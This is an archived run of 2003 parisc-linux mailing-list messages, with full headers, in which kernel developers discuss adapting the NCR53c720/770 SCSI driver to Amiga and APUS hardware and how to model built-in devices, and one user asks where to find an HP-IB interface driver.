Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: 30 Sep 2003 08:47:11 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <1064929633.2183.7.camel@mulgrave>
References: <Pine.GSO.4.21.0309301019390.7902-100000@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622832 31816 80.91.229.3 (22 Nov 2014 02:20:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:32 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Rene Brothuhn <rene.br@web.de>, Roman Zippel <zippel@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC on APUS development <linux-apus-devel@lists.sourceforge.net>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 07:47:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 620964840
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 07:47:56 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8UDlCq10178;
	Tue, 30 Sep 2003 09:47:12 -0400
In-Reply-To: <Pine.GSO.4.21.0309301019390.7902-100000@vervain.sonytel.be>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19686

On Tue, 2003-09-30 at 03:21, Geert Uytterhoeven wrote:
> BTW, A4000T SCSI is builtin, not Zorro, so we need a platform device for that.

That depends on how you want it to work.  On parisc, the Lasi (SCSI and
other) devices are technically "platform" in that they're all ASIC'd
together and soldered on to the main board.  However, it was easier to
create a parisc_bus type and lump them all under it than to use a
platform device....however, we did this in the very early days of the
generic device, a platform device might be more appropriate now.

James




From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 14:59:14 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20030930135914.GW24824@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.21.0309301019390.7902-100000@vervain.sonytel.be> <1064929633.2183.7.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622832 31818 80.91.229.3 (22 Nov 2014 02:20:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:32 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Matthew Wilcox <willy@debian.org>, Rene Brothuhn <rene.br@web.de>,
	Roman Zippel <zippel@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC on APUS development <linux-apus-devel@lists.sourceforge.net>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 07:59:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id D934B484B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 07:59:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A4L23-0001rO-0k; Tue, 30 Sep 2003 14:59:15 +0100
Content-Disposition: inline
In-Reply-To: <1064929633.2183.7.camel@mulgrave>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19687

On Tue, Sep 30, 2003 at 08:47:11AM -0500, James Bottomley wrote:
> On Tue, 2003-09-30 at 03:21, Geert Uytterhoeven wrote:
> > BTW, A4000T SCSI is builtin, not Zorro, so we need a platform device for that.
> 
> That depends on how you want it to work.  On parisc, the Lasi (SCSI and
> other) devices are technically "platform" in that they're all ASIC'd
> together and soldered on to the main board.  However, it was easier to
> create a parisc_bus type and lump them all under it than to use a
> platform device....however, we did this in the very early days of the
> generic device, a platform device might be more appropriate now.

It makes a lot of sense to treat all the devices that firmware tells us
about as parisc_devices since we treat them all the same way.  If we
were stepping over ourselves saying "well, yes, this is a pluggable
device and therefore we have to access it like that, but this one's
on the motherboard and therefore we treat it like that", I'd agree.
But all these devices are in the same namespace, firmware tells us
about all of them in the same way, so I think we should continue with
the parisc_device.

>From a historical perspective, we've had parisc_devices in
one form or another since the very start of the project.
They were called hp_devices until about August 2001.  See
http://ftp.parisc-linux.org/patches/parisc_device-2.diff for the
conversion.

I don't know much about Amiga/Zorro.  Maybe it'd make sense for Amiga
platform devices to be faked as zorro_devices, but I doubt it.  In
any case, the 4000T SCSI is a 53c710, not a 720.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rene Brothuhn <rene.br@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 15:59:32 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de> <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk>
Reply-To: rene.br@web.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622832 31824 80.91.229.3 (22 Nov 2014 02:20:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:32 +0000 (UTC)
Cc: Rene Brothuhn <rene.br@web.de>,
	Matthew Wilcox <willy@debian.org>,
	Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 08:01:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from postfix.fh-schmalkalden.de (pop3.fh-schmalkalden.de [194.94.30.58])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0689248B7
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 08:01:33 -0600 (MDT)
Original-Received: from smtp.fh-schmalkalden.de (viruswall [194.94.30.51])
	by postfix.fh-schmalkalden.de (Postfix) with ESMTP
	id E6DFC58023; Tue, 30 Sep 2003 16:01:26 +0200 (CEST)
Original-Received: from ipgraf11.informatik.fh-schmalkalden.de (ipgraf11.informatik.fh-schmalkalden.de [212.201.64.134])
	by smtp.fh-schmalkalden.de (Postfix) with ESMTP
	id 3B7DD4130D; Tue, 30 Sep 2003 16:01:30 +0200 (MET DST)
Content-Disposition: inline
In-Reply-To: <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Sep 30, 2003 at 04:21:32 +0200
X-Mailer: Balsa 1.3.6
Original-Lines: 37
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19688

On 2003.09.30 04:21 Matthew Wilcox wrote:
> The sym53c8xx driver doesn't support all the chips that ncr53c8xx
> supported (mostly earlier chips like 810).  Now there's the sym53c8xx_2
> driver that supports all the 8xx chips.  In 2.6, we've now eliminated all
> PCI stuff from ncr53c8xx (and it should probably be renamed to ncr53c7xx,
> but I actually have a slightly different plan for renaming it that needs
> other work to happen first).

Fine, the pci-stuff is removed from the driver. This makes it easier to 
adapt the driver to non-pci machines.

I have looked in the ncr53c8xx driver from 2.6 and there is mentioned that 
"interrupt on the fly" is not working correctly for 720. Also 
sym53c8xx_defs.h is included and so the registerset from a 810 is used, 
but the 720/770 registers are slightly different.
Is the NCR_Q720 or zalon driver working?

> 
> OK.  I think the right path forward here is:
> 
>  - I port the ncr53c8xx to use the non-coherent DMA interfaces.
>  - Someone converts the zorro device to embed the struct device.
>  - Someone implements the non-coherent DMA interfaces for PowerPC.

So, maybe I can do that at least for APUS, because some of the needed 
interfaces I already created as a "dirty-hack" inside the 53c770 driver. 
But the mean problem is, that there is no working 2.6 kernel for APUS... 
The other problem is time, but maybe I find some hours on weekend...

>  - Someone adds a zorro720 driver (see NCR_Q720 and zalon for
> inspiration)
>    that's simply a glue layer from zorro to ncr720.

If the rest is working, something like this should not be a big problem...


Ciao, Ren


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 15:32:50 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <20030930143250.GX24824@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de> <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk> <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622833 31829 80.91.229.3 (22 Nov 2014 02:20:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Rene Brothuhn <rene.br@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 08:32:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC8204845
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 08:32:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A4LYZ-0004hs-31; Tue, 30 Sep 2003 15:32:51 +0100
Content-Disposition: inline
In-Reply-To: <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19689

On Tue, Sep 30, 2003 at 03:59:32PM +0200, Rene Brothuhn wrote:
> I have looked in the ncr53c8xx driver from 2.6 and there is mentioned that 
> "interrupt on the fly" is not working correctly for 720. Also 
> sym53c8xx_defs.h is included and so the registerset from a 810 is used, 
> but the 720/770 registers are slightly different.
> Is the NCR_Q720 or zalon driver working?

Yes, they're both working fine.

I went over the 770 register definitions the other night and only found
one difference between the names of the definitions in the sym53c8xx_defs
file and the 770 PDF and that was:

-/*3a*/  u_char    nc_sbr;
+/*3a*/  u_char    nc_sbr; /* dwt on 720 */

This is the DMA watchdog timer, but it's not actually used by the driver.
It's a `scratch byte register' on the 895.  Some of the `reserved'
fields in the 770 register definition have names, but they were only
ever touched if the chip was a sufficiently recent revision.

BTW, I couldn't see a document for the 720 chip on the LSI site -- only
the 710 and 770.  I presume I won't go far wrong treating them the same.

> > - Someone implements the non-coherent DMA interfaces for PowerPC.
> 
> So, maybe I can do that at least for APUS, because some of the needed 
> interfaces I already created as a "dirty-hack" inside the 53c770 driver. 
> But the mean problem is, that there is no working 2.6 kernel for APUS... 
> The other problem is time, but maybe I find some hours on weekend...

Yeah, no hurry.  I don't think we have to get this done before 2.6.0 is
out -- after all, it's only a driver.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roman Zippel <zippel@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 16:55:14 +0200 (CEST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0309301654110.17548-100000@serv>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be>
 <Pine.LNX.4.44.0309291434260.17812-100000@serv>
 <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
 <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de>
 <20030930022132.GU24824@parcelfarce.linux.theplanet.co.uk>
 <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622833 31837 80.91.229.3 (22 Nov 2014 02:20:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:33 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	<parisc-linux@parisc-linux.org>,
	<linux-apus-devel@lists.sourceforge.net>
To: Rene Brothuhn <rene.br@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 08:55:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from scrub.xs4all.nl (scrub.xs4all.nl [194.109.195.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AD3A484B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 08:55:25 -0600 (MDT)
Original-Received: from roman (helo=localhost)
	by scrub.xs4all.nl with local-esmtp (Exim 3.35 #1 (Debian))
	id 1A4LuF-0003lj-00; Tue, 30 Sep 2003 16:55:15 +0200
X-X-Sender: roman@serv
In-Reply-To: <20030930135932.GA10395@ipgraf11.informatik.fh-schmalkalden.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19690

Hi,

On Tue, 30 Sep 2003, Rene Brothuhn wrote:

> But the mean problem is, that there is no working 2.6 kernel for APUS... 

That's not really true anymore, it boots here now. :-)

bye, Roman



From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jesse Dougherty <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux HP-IB Driver
Date: Tue, 30 Sep 2003 11:04:19 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <3F799B73.70906BEF@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622833 31842 80.91.229.3 (22 Nov 2014 02:20:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:33 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 09:03:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net [209.241.53.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 641F3484B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 09:03:09 -0600 (MDT)
Original-Received: from cypress-tech.com ([209.241.53.131]) by cypress2.cypress-tech.com with Microsoft SMTPSVC(5.0.2195.6713);
	 Tue, 30 Sep 2003 11:04:19 -0400
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
X-OriginalArrivalTime: 30 Sep 2003 15:04:19.0781 (UTC) FILETIME=[1FE0C750:01C38764]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19691

I am trying to locate a driver (download or CD) for an PCI IEEE-488
National Instruments HP-IB interface card (similar to the HP E2078A /
82350B) using Linux via HP 9000/B2000 workstation. If anyone knows of
such a driver and where I can obtain it, please reply back.

Thanks
Jesse
Cypress Technology Inc
Re-Sellers of HP 9000/3000 Hardware
Jesse@cypress-tech.com




From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux HP-IB Driver
Date: Tue, 30 Sep 2003 16:32:15 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20030930153215.GY24824@parcelfarce.linux.theplanet.co.uk>
References: <3F799B73.70906BEF@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622834 31850 80.91.229.3 (22 Nov 2014 02:20:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jesse Dougherty <jesse@cypress-tech.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 09:32:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A03904840
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 09:32:18 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A4MU3-00087i-L4; Tue, 30 Sep 2003 16:32:15 +0100
Content-Disposition: inline
In-Reply-To: <3F799B73.70906BEF@cypress-tech.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19692

On Tue, Sep 30, 2003 at 11:04:19AM -0400, Jesse Dougherty wrote:
> I am trying to locate a driver (download or CD) for an PCI IEEE-488
> National Instruments HP-IB interface card (similar to the HP E2078A /
> 82350B) using Linux via HP 9000/B2000 workstation. If anyone knows of
> such a driver and where I can obtain it, please reply back.

A quick google found ftp://ftp.llp.fu-berlin.de/pub/linux/LINUX-LAB/IEEE488

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: 30 Sep 2003 10:32:23 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <1064935949.1930.6.camel@mulgrave>
References: <Pine.GSO.4.21.0309301019390.7902-100000@vervain.sonytel.be>
	<1064929633.2183.7.camel@mulgrave> 
	<20030930135914.GW24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622834 31861 80.91.229.3 (22 Nov 2014 02:20:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:34 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Rene Brothuhn <rene.br@web.de>, Roman Zippel <zippel@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC on APUS development <linux-apus-devel@lists.sourceforge.net>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 09:33:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06C8F4840
	for <parisc-linux@parisc-linux.org>; Tue, 30 Sep 2003 09:33:13 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8UFWRq16752;
	Tue, 30 Sep 2003 11:32:27 -0400
In-Reply-To: <20030930135914.GW24824@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19693

On Tue, 2003-09-30 at 08:59, Matthew Wilcox wrote:
> It makes a lot of sense to treat all the devices that firmware tells us
> about as parisc_devices since we treat them all the same way.  If we
> were stepping over ourselves saying "well, yes, this is a pluggable
> device and therefore we have to access it like that, but this one's
> on the motherboard and therefore we treat it like that", I'd agree.
> But all these devices are in the same namespace, firmware tells us
> about all of them in the same way, so I think we should continue with
> the parisc_device.

Yes, I was just musing about the way we did it.  In theory, the
difference between a "platform" device and a generic device is that a
generic device has a bus, and a platform one doesn't.  The
platform_device also has a resource pointer and a few other bits and
pieces the generic device doesn't.

What I did for PA was to create a parisc bus type, and attach all the
